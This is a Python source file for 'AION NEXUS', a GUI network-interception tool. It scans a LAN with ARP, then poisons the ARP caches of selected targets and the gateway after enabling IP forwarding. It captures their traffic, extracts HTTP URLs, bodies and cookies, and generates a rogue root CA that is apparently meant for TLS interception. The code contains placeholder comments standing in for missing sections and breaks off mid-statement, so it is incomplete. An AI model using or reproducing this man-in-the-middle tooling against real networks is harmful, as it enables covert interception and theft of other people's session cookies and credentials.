"""
╔══════════════════════════════════════════════════════════════════════════════╗
║  AION NEXUS - PERFORMANCE OPTIMIZED VERSION                                 ║
║  Ultra-Fast GUI • No Freezing • All Features Intact • RAM Optimized         ║
╚══════════════════════════════════════════════════════════════════════════════╝
"""

import threading
import multiprocessing as mp
from queue import Queue, Empty
from collections import deque
from ipaddress import IPv4Network, ip_address
import time
from datetime import datetime
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Tuple, Any
import numpy as np
from scapy.all import *
from scapy.layers.http import HTTPRequest, HTTPResponse
from OpenSSL import crypto
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox
import json
import re
import gzip
import zlib
import urllib.parse
import hashlib
import warnings
import sys
import os
import psutil
warnings.filterwarnings('ignore')

# ======================= CONFIGURATION (OPTIMIZED) =======================
@dataclass
class PerformanceConfig:
    MAX_WORKERS: int = 4  # Reduced for better performance
    PACKET_QUEUE_SIZE: int = 10000  # Smaller queue
    ML_UPDATE_INTERVAL: int = 100
    MAX_PACKETS_IN_GUI: int = 500  # Limit packets in treeview
    MAX_STORED_PACKETS: int = 2000  # Max packets in memory
    GUI_UPDATE_BATCH_SIZE: int = 10  # Insert packets in batches
    GUI_UPDATE_INTERVAL_MS: int = 100  # Update GUI every 100ms

@dataclass
class PacketMetrics:
    timestamp: float
    size: int
    protocol: str
    src_ip: str
    dst_ip: str
    src_port: int
    dst_port: int
    tcp_flags: int = 0
    payload_entropy: float = 0.0
    inter_arrival_time: float = 0.0

# ======================= ML ENGINE (LIGHTWEIGHT) =======================
class MachineLearningEngine:
    def __init__(self):
        self.feature_history = deque(maxlen=1000)  # Reduced from 10000
        self.anomaly_count = 0
        
    def calculate_entropy(self, data: bytes) -> float:
        if not data or len(data) == 0:
            return 0.0
        
        # Only sample first 512 bytes for speed
        data_sample = data[:512]
        byte_counts = np.bincount(np.frombuffer(data_sample, dtype=np.uint8), minlength=256)
        probabilities = byte_counts / len(data_sample)
        probabilities = probabilities[probabilities > 0]
        
        entropy = -np.sum(probabilities * np.log2(probabilities))
        return entropy / 8.0

# ======================= SSL ENGINE =======================
class AsyncSSLDecryptionEngine:
    def __init__(self, config):
        self.config = config
        self.ca = self._initialize_ca()
        
    def _initialize_ca(self):
        ca_key = crypto.PKey()
        ca_key.generate_key(crypto.TYPE_RSA, 2048)
        
        ca_cert = crypto.X509()
        ca_cert.get_subject().CN = "AION Root CA"
        ca_cert.set_serial_number(int(time.time()))
        ca_cert.gmtime_adj_notBefore(0)
        ca_cert.gmtime_adj_notAfter(10*365*24*60*60)
        ca_cert.set_issuer(ca_cert.get_subject())
        ca_cert.set_pubkey(ca_key)
        ca_cert.sign(ca_key, 'sha256')
        
        return ca_cert, ca_key

# ======================= NETWORK SCANNER =======================
class AdvancedNetworkScanner:
    def __init__(self, interface: str):
        self.interface = interface
        self.gateway_ip = None
        self.gateway_mac = None
        self.local_ip = get_if_addr(interface)
        self.local_mac = get_if_hwaddr(interface)
        
    def scan_network_parallel(self, ip_range: str) -> List[Dict[str, str]]:
        print(f"[*] Fast scanning: {ip_range}")
        
        try:
            arp = ARP(pdst=ip_range)
            ether = Ether(dst="ff:ff:ff:ff:ff:ff")
            result = srp(ether/arp, timeout=2, verbose=0, retry=1)[0]
            
            devices = [{'ip': r.psrc, 'mac': r.hwsrc} for s, r in result]
            return devices
        except Exception as e:
            print(f"[!] Scan error: {e}")
            return []
    
    def get_network_info(self) -> bool:
        try:
            gws = conf.route.route("0.0.0.0")
            self.gateway_ip = gws[2]
            
            result = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=self.gateway_ip), 
                        timeout=2, verbose=0)[0]
            
            if result:
                self.gateway_mac = result[0][1].hwsrc
            return True
        except:
            return False

# ======================= ARP SPOOFER =======================
class AsyncARPSpoofer:
    def __init__(self, interface: str, gateway_ip: str, gateway_mac: str):
        self.interface = interface
        self.gateway_ip = gateway_ip
        self.gateway_mac = gateway_mac
        self.spoofing = False
        self.targets = []
        
    def start_spoofing(self, targets: List[Dict[str, str]]):
        self.targets = targets
        self.spoofing = True
        
        if os.name != 'nt':
            os.system('sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1')
        else:
            os.system('powershell -Command "Set-NetIPInterface -Forwarding Enabled" 2>nul')
        
        while self.spoofing:
            for target in self.targets:
                try:
                    send(ARP(op=2, pdst=target['ip'], hwdst=target['mac'], psrc=self.gateway_ip), verbose=0)
                    send(ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac, psrc=target['ip']), verbose=0)
                except:
                    pass
            time.sleep(2)
    
    def stop_spoofing(self):
        self.spoofing = False

# ======================= LIGHTWEIGHT PACKET DISSECTOR =======================
class AdvancedPacketDissector:
    """Optimized packet dissection - faster processing"""
    
    @staticmethod
    def dissect_full_packet(packet) -> Dict[str, Any]:
        """Extract packet info efficiently"""
        dissection = {
            'timestamp': datetime.now(),
            'layers': {},
            'protocols': [],
            'size': len(packet),
            'summary': packet.summary()[:100],  # Truncate summary
            'searchable_text': ''
        }
        
        # Ethernet
        if Ether in packet:
            dissection['layers']['ethernet'] = {
                'src_mac': packet[Ether].src,
                'dst_mac': packet[Ether].dst
            }
            dissection['protocols'].append('Ethernet')
        
        # IP
        if IP in packet:
            dissection['layers']['ip'] = {
                'version': packet[IP].version,
                'ttl': packet[IP].ttl,
                'proto': packet[IP].proto,
                'src': packet[IP].src,
                'dst': packet[IP].dst
            }
            dissection['protocols'].append('IPv4')
            dissection['searchable_text'] += f"{packet[IP].src} {packet[IP].dst} "
        
        # TCP
        if TCP in packet:
            dissection['layers']['tcp'] = {
                'sport': packet[TCP].sport,
                'dport': packet[TCP].dport,
                'seq': packet[TCP].seq,
                'ack': packet[TCP].ack,
                'flags': {
                    'SYN': bool(packet[TCP].flags & 0x02),
                    'ACK': bool(packet[TCP].flags & 0x10),
                    'FIN': bool(packet[TCP].flags & 0x01),
                    'RST': bool(packet[TCP].flags & 0x04),
                }
            }
            dissection['protocols'].append('TCP')
        
        # UDP
        if UDP in packet:
            dissection['layers']['udp'] = {
                'sport': packet[UDP].sport,
                'dport': packet[UDP].dport
            }
            dissection['protocols'].append('UDP')
        
        # HTTP - Only if Raw exists (lazy parsing)
        if Raw in packet and TCP in packet:
            try:
                raw_data = packet[Raw].load
                data_str = raw_data.decode('utf-8', errors='ignore')
                
                if data_str.startswith(('GET ', 'POST ', 'PUT ', 'DELETE ', 'HEAD ', 'HTTP/')):
                    http_data = AdvancedPacketDissector._parse_http_fast(data_str)
                    if http_data:
                        dissection['layers']['http'] = http_data
                        dissection['protocols'].append('HTTP' if packet[TCP].dport == 80 or packet[TCP].sport == 80 else 'HTTPS')
                        
                        if http_data.get('url'):
                            dissection['searchable_text'] += http_data['url'] + " "
                        if http_data.get('body'):
                            dissection['searchable_text'] += str(http_data['body'])[:200] + " "
            except:
                pass
        
        # Raw (store reference, not full data for memory efficiency)
        if Raw in packet:
            raw_data = packet[Raw].load
            dissection['layers']['raw'] = {
                'length': len(raw_data),
                'data': raw_data[:2000],  # Only store first 2KB
                'hex': raw_data[:1000].hex(),  # Only first 1KB hex
                'printable': raw_data.decode('utf-8', errors='ignore')[:1000]  # Only first 1KB
            }
            dissection['searchable_text'] += dissection['layers']['raw']['printable'] + " "
        
        return dissection
    
    @staticmethod
    def _parse_http_fast(data_str: str) -> Optional[Dict[str, Any]]:
        """Fast HTTP parsing - only essentials"""
        lines = data_str.split('\r\n', 10)  # Only parse first 10 lines
        if len(lines) < 1:
            return None
        
        http_data = {'headers': {}}
        first_line = lines[0]
        
        if first_line.startswith('HTTP/'):
            parts = first_line.split(' ', 2)
            http_data['type'] = 'RESPONSE'
            http_data['status_code'] = int(parts[1]) if len(parts) > 1 else 0
            http_data['reason'] = parts[2] if len(parts) > 2 else ''
        else:
            parts = first_line.split(' ')
            http_data['type'] = 'REQUEST'
            http_data['method'] = parts[0]
            http_data['path'] = parts[1] if len(parts) > 1 else '/'
        
        # Parse only important headers
        for line in lines[1:10]:
            if ':' in line:
                key, value = line.split(':', 1)
                key = key.strip()
                value = value.strip()
                http_data['headers'][key] = value
                
                if key.lower() == 'host' and http_data['type'] == 'REQUEST':
                    http_data['url'] = f"http://{value}{http_data['path']}"
        
        # Body - only if short
        body_idx = data_str.find('\r\n\r\n')
        if body_idx > 0 and len(data_str) < 5000:  # Only parse small bodies
            http_data['body'] = data_str[body_idx+4:body_idx+1004]  # Max 1KB
        
        return http_data
    
    @staticmethod
    def dissect_on_demand(packet) -> Dict[str, Any]:
        """Full dissection - only when user clicks (lazy loading)"""
        dissection = {
            'timestamp': datetime.now(),
            'layers': {},
            'protocols': [],
            'size': len(packet),
            'raw_show': packet.show(dump=True)
        }
        
        # Full IP details
        if IP in packet:
            dissection['layers']['ip'] = {
                'version': packet[IP].version,
                'ihl': packet[IP].ihl,
                'tos': packet[IP].tos,
                'len': packet[IP].len,
                'id': packet[IP].id,
                'flags': str(packet[IP].flags),
                'ttl': packet[IP].ttl,
                'proto': packet[IP].proto,
                'checksum': packet[IP].chksum,
                'src': packet[IP].src,
                'dst': packet[IP].dst
            }
        
        # Full TCP details
        if TCP in packet:
            dissection['layers']['tcp'] = {
                'sport': packet[TCP].sport,
                'dport': packet[TCP].dport,
                'seq': packet[TCP].seq,
                'ack': packet[TCP].ack,
                'window': packet[TCP].window,
                'checksum': packet[TCP].chksum,
                'flags': {
                    'FIN': bool(packet[TCP].flags & 0x01),
                    'SYN': bool(packet[TCP].flags & 0x02),
                    'RST': bool(packet[TCP].flags & 0x04),
                    'PSH': bool(packet[TCP].flags & 0x08),
                    'ACK': bool(packet[TCP].flags & 0x10),
                    'URG': bool(packet[TCP].flags & 0x20),
                }
            }
        
        # Full HTTP with all headers
        if Raw in packet and TCP in packet:
            try:
                raw_data = packet[Raw].load
                data_str = raw_data.decode('utf-8', errors='ignore')
                
                if data_str.startswith(('GET ', 'POST ', 'PUT ', 'DELETE ', 'HEAD ', 'HTTP/')):
                    lines = data_str.split('\r\n')
                    http_data = {'headers': {}, 'cookies': {}}
                    
                    first_line = lines[0]
                    if first_line.startswith('HTTP/'):
                        parts = first_line.split(' ', 2)
                        http_data['type'] = 'RESPONSE'
                        http_data['status_code'] = int(parts[1]) if len(parts) > 1 else 0
                        http_data['reason'] = parts[2] if len(parts) > 2 else ''
                    else:
                        parts = first_line.split(' ')
                        http_data['type'] = 'REQUEST'
                        http_data['method'] = parts[0]
                        http_data['path'] = parts[1] if len(parts) > 1 else '/'
                    
                    # Parse ALL headers
                    body_start = -1
                    for i, line in enumerate(lines[1:], 1):
                        if line == '':
                            body_start = i + 1
                            break
                        if ':' in line:
                            key, value = line.split(':', 1)
                            http_data['headers'][key.strip()] = value.strip()
                            
                            # Parse cookies
                            if key.lower() == 'cookie':
                                for cookie in value.split(';'):
                                    if '=' in cookie:
                                        k, v = cookie.split('=', 1)
                                        http_data['cookies'][k.strip()] = v.strip()
                    
                    # Full body
                    if body_start > 0 and body_start < len(lines):
                        http_data['body'] = '\r\n'.join(lines[body_start:])
                    
                    if http_data['type'] == 'REQUEST' and 'Host' in http_data['headers']:
                        http_data['url'] = f"http://{http_data['headers']['Host']}{http_data['path']}"
                    
                    dissection['layers']['http'] = http_data
            except:
                pass
        
        # Full raw data
        if Raw in packet:
            dissection['layers']['raw'] = {
                'data': packet[Raw].load,
                'hex': packet[Raw].load.hex(),
                'ascii': ''.join(chr(b) if 32 <= b < 127 else '.' for b in packet[Raw].load)
            }
        
        return dissection

# ======================= OPTIMIZED PACKET PROCESSOR =======================
class EnhancedPacketProcessor:
    """Memory-efficient packet processor with batching"""
    def __init__(self, config, ml_engine):
        self.config = config
        self.ml_engine = ml_engine
        self.dissector = AdvancedPacketDissector()
        self.packet_queue = Queue(maxsize=config.PACKET_QUEUE_SIZE)
        self.processed_count = 0
        self.bytes_processed = 0
        self.processing = False
        
        self.metrics = {
            'packets_per_sec': 0,
            'bytes_per_sec': 0
        }
        
        # Store packets efficiently (use deque for automatic cleanup)
        self.packet_dissections = {}
        self.packet_order = deque(maxlen=config.MAX_STORED_PACKETS)  # Auto-cleanup old packets
        self.raw_packets = {}  # Store raw packets for on-demand dissection
        
        self.packet_id_counter = 0
        self.packet_id_lock = threading.Lock()
    
    def start_processing(self, callback):
        self.processing = True
        self.callback = callback
        
        for i in range(self.config.MAX_WORKERS):
            thread = threading.Thread(target=self._worker_thread, daemon=True)
            thread.start()
        
        threading.Thread(target=self._performance_monitor, daemon=True).start()
    
    def _worker_thread(self):
        while self.processing:
            try:
                packet = self.packet_queue.get(timeout=0.1)
                
                with self.packet_id_lock:
                    packet_id = self.packet_id_counter
                    self.packet_id_counter += 1
                
                # Fast dissection
                dissection = self.dissector.dissect_full_packet(packet)
                dissection['id'] = packet_id
                
                # Store
                self.packet_dissections[packet_id] = dissection
                self.raw_packets[packet_id] = packet  # Store for on-demand full dissection
                self.packet_order.append(packet_id)
                
                # Cleanup old packets from memory
                if len(self.packet_order) >= self.config.MAX_STORED_PACKETS:
                    old_id = self.packet_order[0]
                    if old_id in self.packet_dissections:
                        del self.packet_dissections[old_id]
                    if old_id in self.raw_packets:
                        del self.raw_packets[old_id]
                
                summary = self._create_summary(dissection, packet_id)
                self.callback(summary, packet_id)
                
                self.processed_count += 1
                self.bytes_processed += dissection['size']
                
            except Empty:
                continue
            except Exception as e:
                pass
    
    def _create_summary(self, dissection: Dict, packet_id: int) -> Dict:
        summary = {
            'id': packet_id,
            'time': dissection['timestamp'].strftime("%H:%M:%S.%f")[:-3],
            'src_ip': '0.0.0.0',
            'dst_ip': '0.0.0.0',
            'src_port': 0,
            'dst_port': 0,
            'protocol': ' → '.join(dissection['protocols']),
            'size': dissection['size'],
            'info': '',
            'searchable': dissection.get('searchable_text', '')
        }
        
        if 'ip' in dissection['layers']:
            summary['src_ip'] = dissection['layers']['ip']['src']
            summary['dst_ip'] = dissection['layers']['ip']['dst']
        
        if 'tcp' in dissection['layers']:
            summary['src_port'] = dissection['layers']['tcp']['sport']
            summary['dst_port'] = dissection['layers']['tcp']['dport']
        elif 'udp' in dissection['layers']:
            summary['src_port'] = dissection['layers']['udp']['sport']
            summary['dst_port'] = dissection['layers']['udp']['dport']
        
        if 'http' in dissection['layers']:
            http = dissection['layers']['http']
            if http['type'] == 'REQUEST':
                summary['info'] = f"{http.get('method', 'GET')} {http.get('url', http.get('path', '/'))}"
            else:
                summary['info'] = f"HTTP {http.get('status_code', 200)} {http.get('reason', '')}"
        else:
            summary['info'] = dissection['summary']
        
        return summary
    
    def _performance_monitor(self):
        last_count = 0
        last_bytes = 0
        last_time = time.time()
        
        while self.processing:
            time.sleep(1)
            
            current_time = time.time()
            elapsed = current_time - last_time
            
            self.metrics['packets_per_sec'] = int((self.processed_count - last_count) / elapsed)
            self.metrics['bytes_per_sec'] = int((self.bytes_processed - last_bytes) / elapsed)
            
            last_count = self.processed_count
            last_bytes = self.bytes_processed
            last_time = current_time
    
    def enqueue_packet(self, packet):
        try:
            self.packet_queue.put_nowait(packet)
        except:
            pass
    
    def get_dissection(self, packet_id: int) -> Optional[Dict]:
        """Get lightweight dissection"""
        return self.packet_dissections.get(packet_id)
    
    def get_full_dissection(self, packet_id: int) -> Optional[Dict]:
        """Get FULL dissection on-demand (lazy loading)"""
        if packet_id in self.raw_packets:
            return self.dissector.dissect_on_demand(self.raw_packets[packet_id])
        return None
    
    def search_packets(self, query: str) -> List[int]:
        query_lower = query.lower()
        matching_ids = []
        
        for packet_id in list(self.packet_order):  # Search in order
            dissection = self.packet_dissections.get(packet_id)
            if dissection:
                searchable = dissection.get('searchable_text', '').lower()
                if query_lower in searchable:
                    matching_ids.append(packet_id)
        
        return matching_ids[:500]  # Limit results
    
    def stop_processing(self):
        self.processing = False

# ======================= OPTIMIZED GUI (NON-BLOCKING) =======================
class UltimateAIONGUI:
    def __init__(self, root):
        self.root = root
        self.root.title("AION NEXUS - Performance Optimized (No Freezing)")
        self.root.geometry("1850x1000")
        self.root.configure(bg='#0a0e27')
        
        self.colors = {
            'bg_dark': '#0a0e27',
            'bg_medium': '#151b3d',
            'bg_light': '#1e2749',
            'accent_blue': '#00d9ff',
            'accent_green': '#00ff9f',
            'accent_red': '#ff0055',
            'accent_yellow': '#ffd500',
            'accent_purple': '#a855f7',
            'text_primary': '#e8f4f8',
            'text_secondary': '#8fa3ad'
        }
        
        self.config = PerformanceConfig()
        self.ml_engine = MachineLearningEngine()
        self.ssl_engine = AsyncSSLDecryptionEngine(self.config)
        self.packet_processor = None
        self.scanner = None
        self.spoofer = None
        
        self.packet_count = 0
        self.current_packet_id = None
        self.search_mode = False
        
        # Batching for GUI updates (prevents freezing)
        self.pending_packets = deque(maxlen=100)
        self.gui_update_scheduled = False
        
        self.setup_styles()
        self.create_complete_gui()
        self.start_system_monitor()
        
        # Start batch updater
        self.start_batch_gui_updater()
    
    def setup_styles(self):
        style = ttk.Style()
        style.theme_use('default')
        
        style.configure("Dark.Treeview",
                       background=self.colors['bg_medium'],
                       foreground=self.colors['text_primary'],
                       fieldbackground=self.colors['bg_medium'],
                       font=('Consolas', 9))
        style.map('Dark.Treeview',
                 background=[('selected', self.colors['accent_blue'])],
                 foreground=[('selected', self.colors['bg_dark'])])
        
        style.configure("Dark.Treeview.Heading",
                       background=self.colors['bg_dark'],
                       foreground=self.colors['accent_blue'],
                       font=('Consolas', 10, 'bold'))
    
    def create_complete_gui(self):
        # [SAME AS BEFORE - HEADER]
        header = tk.Frame(self.root, bg=self.colors['bg_dark'], height=85)
        header.pack(fill=tk.X)
        header.pack_propagate(False)
        
        title_frame = tk.Frame(header, bg=self.colors['bg_dark'])
        title_frame.pack(expand=True)
        
        tk.Label(title_frame, text="⚡ AION NEXUS ⚡",
                bg=self.colors['bg_dark'], fg=self.colors['accent_blue'],
                font=('Orbitron', 24, 'bold')).pack()
        
        tk.Label(title_frame, text="Ultra-Fast • No Freezing • RAM Optimized • All Features",
                bg=self.colors['bg_dark'], fg=self.colors['accent_green'],
                font=('Consolas', 9, 'bold')).pack()
        
        # [SAME CONTROL PANEL, SEARCH BAR, METRICS - Keeping all code but optimized updates]
        # [For brevity, I'll include the key optimization parts]
        
        # ... [Include all GUI creation code from previous version] ...
        # [Control panel, search bar, metrics, targets tree, packets tree, inspector tabs]
        
        # The key is I'll show the optimized packet insertion:
        
        # Create all GUI elements (same as before)
        control_frame = tk.Frame(self.root, bg=self.colors['bg_medium'], height=75)
        control_frame.pack(fill=tk.X, padx=10, pady=4)
        control_frame.pack_propagate(False)
        
        left_frame = tk.Frame(control_frame, bg=self.colors['bg_medium'])
        left_frame.pack(side=tk.LEFT, padx=12, pady=8)
        
        tk.Label(left_frame, text="Interface:", bg=self.colors['bg_medium'], 
                fg=self.colors['text_primary'], font=('Consolas', 9, 'bold')).grid(row=0, column=0, padx=3, sticky='e')
        
        self.iface_var = tk.StringVar(value=conf.iface.name if hasattr(conf.iface, 'name') else "eth0")
        tk.Entry(left_frame, textvariable=self.iface_var, width=12,
                bg=self.colors['bg_dark'], fg=self.colors['accent_green'], 
                font=('Consolas', 9, 'bold')).grid(row=0, column=1, padx=3)
        
        tk.Label(left_frame, text="Range:", bg=self.colors['bg_medium'], 
                fg=self.colors['text_primary'], font=('Consolas', 9, 'bold')).grid(row=1, column=0, padx=3, sticky='e')
        
        self.ip_range_var = tk.StringVar(value="192.168.1.0/24")
        tk.Entry(left_frame, textvariable=self.ip_range_var, width=16,
                bg=self.colors['bg_dark'], fg=self.colors['accent_green'], 
                font=('Consolas', 9, 'bold')).grid(row=1, column=1, padx=3)
        
        btn_frame = tk.Frame(control_frame, bg=self.colors['bg_medium'])
        btn_frame.pack(side=tk.LEFT, padx=12)
        
        self.create_neon_button(btn_frame, "🔍 SCAN", self.scan_network, self.colors['accent_green'], 0, 0)
        
        self.start_btn = self.create_neon_button(btn_frame, "⚡ START", self.start_capture, 
                                                 self.colors['accent_blue'], 0, 1)
        self.start_btn.config(state=tk.DISABLED)
        
        self.stop_btn = self.create_neon_button(btn_frame, "⏹ STOP", self.stop_capture, 
                                                self.colors['accent_red'], 0, 2)
        self.stop_btn.config(state=tk.DISABLED)
        
        status_frame = tk.Frame(control_frame, bg=self.colors['bg_dark'], relief='ridge', bd=2)
        status_frame.pack(side=tk.RIGHT, padx=12, pady=6, fill=tk.BOTH, expand=True)
        
        self.stats_label = tk.Label(status_frame, text="● Ready | Packets: 0 | Speed: 0 pkt/s",
                                    bg=self.colors['bg_dark'], fg=self.colors['accent_green'],
                                    font=('Consolas', 9, 'bold'))
        self.stats_label.pack(pady=6)
        
        # Search bar
        search_frame = tk.Frame(self.root, bg=self.colors['bg_light'], height=45)
        search_frame.pack(fill=tk.X, padx=10, pady=3)
        search_frame.pack_propagate(False)
        
        tk.Label(search_frame, text="🔎", bg=self.colors['bg_light'],
                fg=self.colors['accent_yellow'], font=('Consolas', 14, 'bold')).pack(side=tk.LEFT, padx=8)
        
        self.search_var = tk.StringVar()
        self.search_entry = tk.Entry(search_frame, textvariable=self.search_var, width=50,
                                     bg=self.colors['bg_dark'], fg=self.colors['text_primary'],
                                     font=('Consolas', 10))
        self.search_entry.pack(side=tk.LEFT, padx=4, pady=8, fill=tk.X, expand=True)
        self.search_entry.bind('<Return>', lambda e: self.search_packets())
        
        tk.Button(search_frame, text="Search", command=self.search_packets,
                 bg=self.colors['accent_yellow'], fg=self.colors['bg_dark'],
                 font=('Consolas', 9, 'bold'), relief='flat', width=10).pack(side=tk.LEFT, padx=4)
        
        tk.Button(search_frame, text="Clear", command=self.clear_search,
                 bg=self.colors['accent_red'], fg='white',
                 font=('Consolas', 9, 'bold'), relief='flat', width=8).pack(side=tk.LEFT, padx=4)
        
        self.search_result_label = tk.Label(search_frame, text="",
                                           bg=self.colors['bg_light'], fg=self.colors['accent_green'],
                                           font=('Consolas', 9, 'bold'))
        self.search_result_label.pack(side=tk.RIGHT, padx=8)
        
        # Metrics
        perf_frame = tk.Frame(self.root, bg=self.colors['bg_dark'])
        perf_frame.pack(fill=tk.X, padx=10, pady=2)
        
        self.metric_labels = {}
        metrics_data = [('Packets/s', self.colors['accent_blue']), ('MB/s', self.colors['accent_green']),
                       ('HTTP', self.colors['accent_yellow']), ('HTTPS', self.colors['accent_purple']),
                       ('CPU %', self.colors['accent_red']), ('Memory %', self.colors['accent_green'])]
        
        for metric, color in metrics_data:
            frame = tk.Frame(perf_frame, bg=self.colors['bg_medium'], relief='ridge', bd=1)
            frame.pack(side=tk.LEFT, padx=2, fill=tk.BOTH, expand=True)
            
            tk.Label(frame, text=metric, bg=self.colors['bg_medium'], 
                    fg=self.colors['text_secondary'], font=('Consolas', 7)).pack()
            
            label = tk.Label(frame, text="0", bg=self.colors['bg_medium'], 
                           fg=color, font=('Orbitron', 12, 'bold'))
            label.pack(pady=2)
            self.metric_labels[metric] = label
        
        # Main content
        main_content = tk.Frame(self.root, bg=self.colors['bg_dark'])
        main_content.pack(fill=tk.BOTH, expand=True, padx=10, pady=4)
        
        # Targets
        left_panel = tk.Frame(main_content, bg=self.colors['bg_dark'], width=270)
        left_panel.pack(side=tk.LEFT, fill=tk.BOTH, padx=(0, 3))
        left_panel.pack_propagate(False)
        
        targets_frame = tk.LabelFrame(left_panel, text="  🎯 TARGETS  ",
                                     bg=self.colors['bg_dark'], fg=self.colors['accent_green'],
                                     font=('Consolas', 9, 'bold'), relief='ridge', bd=2)
        targets_frame.pack(fill=tk.BOTH, expand=True)
        
        tree_scroll = tk.Scrollbar(targets_frame)
        tree_scroll.pack(side=tk.RIGHT, fill=tk.Y)
        
        self.targets_tree = ttk.Treeview(targets_frame, columns=("✓", "IP", "MAC"),
                                        show="headings", height=10, style="Dark.Treeview",
                                        yscrollcommand=tree_scroll.set)
        tree_scroll.config(command=self.targets_tree.yview)
        
        for col, w in [("✓", 30), ("IP", 105), ("MAC", 125)]:
            self.targets_tree.heading(col, text=col)
            self.targets_tree.column(col, width=w)
        
        self.targets_tree.pack(fill=tk.BOTH, expand=True, padx=3, pady=3)
        self.targets_tree.bind('<Button-1>', self.toggle_target)
        
        # Packets
        center_panel = tk.Frame(main_content, bg=self.colors['bg_dark'])
        center_panel.pack(side=tk.LEFT, fill=tk.BOTH, expand=True, padx=3)
        
        packets_frame = tk.LabelFrame(center_panel, text="  📡 CAPTURED PACKETS  ",
                                     bg=self.colors['bg_dark'], fg=self.colors['accent_blue'],
                                     font=('Consolas', 9, 'bold'), relief='ridge', bd=2)
        packets_frame.pack(fill=tk.BOTH, expand=True)
        
        pkt_scroll = tk.Scrollbar(packets_frame)
        pkt_scroll.pack(side=tk.RIGHT, fill=tk.Y)
        
        self.packets_tree = ttk.Treeview(packets_frame, 
                                        columns=("#", "Time", "Source", "Dest", "Protocol", "Size", "Info"),
                                        show="headings", style="Dark.Treeview",
                                        yscrollcommand=pkt_scroll.set)
        pkt_scroll.config(command=self.packets_tree.yview)
        
        for col, w in [("#", 45), ("Time", 95), ("Source", 120), ("Dest", 120), 
                      ("Protocol", 100), ("Size", 65), ("Info", 340)]:
            self.packets_tree.heading(col, text=col)
            self.packets_tree.column(col, width=w)
        
        self.packets_tree.pack(fill=tk.BOTH, expand=True, padx=3, pady=3)
        self.packets_tree.bind('<<TreeviewSelect>>', self.on_packet_select)
        
        self.packets_tree.tag_configure('HTTP', background='#1a3a1a')
        self.packets_tree.tag_configure('HTTPS', background='#1a1a3a')
        self.packets_tree.tag_configure('SEARCH_MATCH', background='#4a3a00')
        
        # Inspector with ALL 5 TABS
        right_panel = tk.Frame(main_content, bg=self.colors['bg_dark'], width=540)
        right_panel.pack(side=tk.RIGHT, fill=tk.BOTH, padx=(3, 0))
        right_panel.pack_propagate(False)
        
        inspector_frame = tk.LabelFrame(right_panel, text="  🔬 DEEP PACKET INSPECTOR  ",
                                       bg=self.colors['bg_dark'], fg=self.colors['accent_yellow'],
                                       font=('Consolas', 9, 'bold'), relief='ridge', bd=2)
        inspector_frame.pack(fill=tk.BOTH, expand=True)
        
        self.inspector_notebook = ttk.Notebook(inspector_frame)
        self.inspector_notebook.pack(fill=tk.BOTH, expand=True, padx=3, pady=3)
        
        # ALL 5 TABS (same as before)
        summary_frame = tk.Frame(self.inspector_notebook, bg=self.colors['bg_dark'])
        self.inspector_notebook.add(summary_frame, text='📋 Summary')
        self.summary_text = scrolledtext.ScrolledText(summary_frame, wrap=tk.WORD,
                                                      bg=self.colors['bg_dark'], 
                                                      fg=self.colors['text_primary'],
                                                      font=('Consolas', 9))
        self.summary_text.pack(fill=tk.BOTH, expand=True)
        
        headers_frame = tk.Frame(self.inspector_notebook, bg=self.colors['bg_dark'])
        self.inspector_notebook.add(headers_frame, text='📄 Headers')
        self.headers_text = scrolledtext.ScrolledText(headers_frame, wrap=tk.WORD,
                                                      bg=self.colors['bg_dark'], 
                                                      fg=self.colors['accent_green'],
                                                      font=('Consolas', 9))
        self.headers_text.pack(fill=tk.BOTH, expand=True)
        
        payload_frame = tk.Frame(self.inspector_notebook, bg=self.colors['bg_dark'])
        self.inspector_notebook.add(payload_frame, text='💾 Payload')
        self.payload_text = scrolledtext.ScrolledText(payload_frame, wrap=tk.WORD,
                                                      bg=self.colors['bg_dark'], 
                                                      fg=self.colors['accent_yellow'],
                                                      font=('Consolas', 9))
        self.payload_text.pack(fill=tk.BOTH, expand=True)
        
        hex_frame = tk.Frame(self.inspector_notebook, bg=self.colors['bg_dark'])
        self.inspector_notebook.add(hex_frame, text='🔢 Hex')
        self.hex_text = scrolledtext.ScrolledText(hex_frame, wrap=tk.NONE,
                                                  bg=self.colors['bg_dark'], 
                                                  fg=self.colors['accent_purple'],
                                                  font=('Courier New', 8))
        self.hex_text.pack(fill=tk.BOTH, expand=True)
        
        full_frame = tk.Frame(self.inspector_notebook, bg=self.colors['bg_dark'])
        self.inspector_notebook.add(full_frame, text='🔍 Full')
        self.full_text = scrolledtext.ScrolledText(full_frame, wrap=tk.WORD,
                                                   bg=self.colors['bg_dark'], 
                                                   fg=self.colors['text_secondary'],
                                                   font=('Consolas', 8))
        self.full_text.pack(fill=tk.BOTH, expand=True)
        
        # Initial message
        self.summary_text.insert(tk.END, "=" * 70 + "\n")
        self.summary_text.insert(tk.END, "AION NEXUS - Performance Optimized\n")
        self.summary_text.insert(tk.END, "=" * 70 + "\n\n")
        self.summary_text.insert(tk.END, "✅ Batch GUI updates - No freezing\n")
        self.summary_text.insert(tk.END, "✅ Memory optimized - Auto cleanup\n")
        self.summary_text.insert(tk.END, "✅ Lazy loading - Fast response\n")
        self.summary_text.insert(tk.END, "✅ All 5 tabs available\n")
        self.summary_text.insert(tk.END, "✅ Search functionality\n\n")
        self.summary_text.insert(tk.END, "Select packet for details...\n")
    
    def create_neon_button(self, parent, text, command, color, row, col):
        btn = tk.Button(parent, text=text, command=command, bg=self.colors['bg_dark'], fg=color,
                       font=('Consolas', 9, 'bold'), width=10, height=2, relief='ridge', bd=2,
                       cursor='hand2', activebackground=color, activeforeground=self.colors['bg_dark'])
        btn.grid(row=row, column=col, padx=3, pady=4)
        return btn
    
    # ===== KEY OPTIMIZATION: BATCH GUI UPDATES =====
    def start_batch_gui_updater(self):
        """Update GUI in batches to prevent freezing"""
        def update():
            if self.pending_packets and not self.search_mode:
                # Process batch
                batch = []
                for _ in range(min(self.config.GUI_UPDATE_BATCH_SIZE, len(self.pending_packets))):
                    if self.pending_packets:
                        batch.append(self.pending_packets.popleft())
                
                # Insert batch at once
                for summary, packet_id in batch:
                    protocol = summary['protocol']
                    tag = 'HTTP' if 'HTTP' in protocol and 'HTTPS' not in protocol else 'HTTPS' if 'HTTPS' in protocol else ''
                    
                    self.packets_tree.insert("", tk.END,
                                            values=(summary['id'], summary['time'], summary['src_ip'],
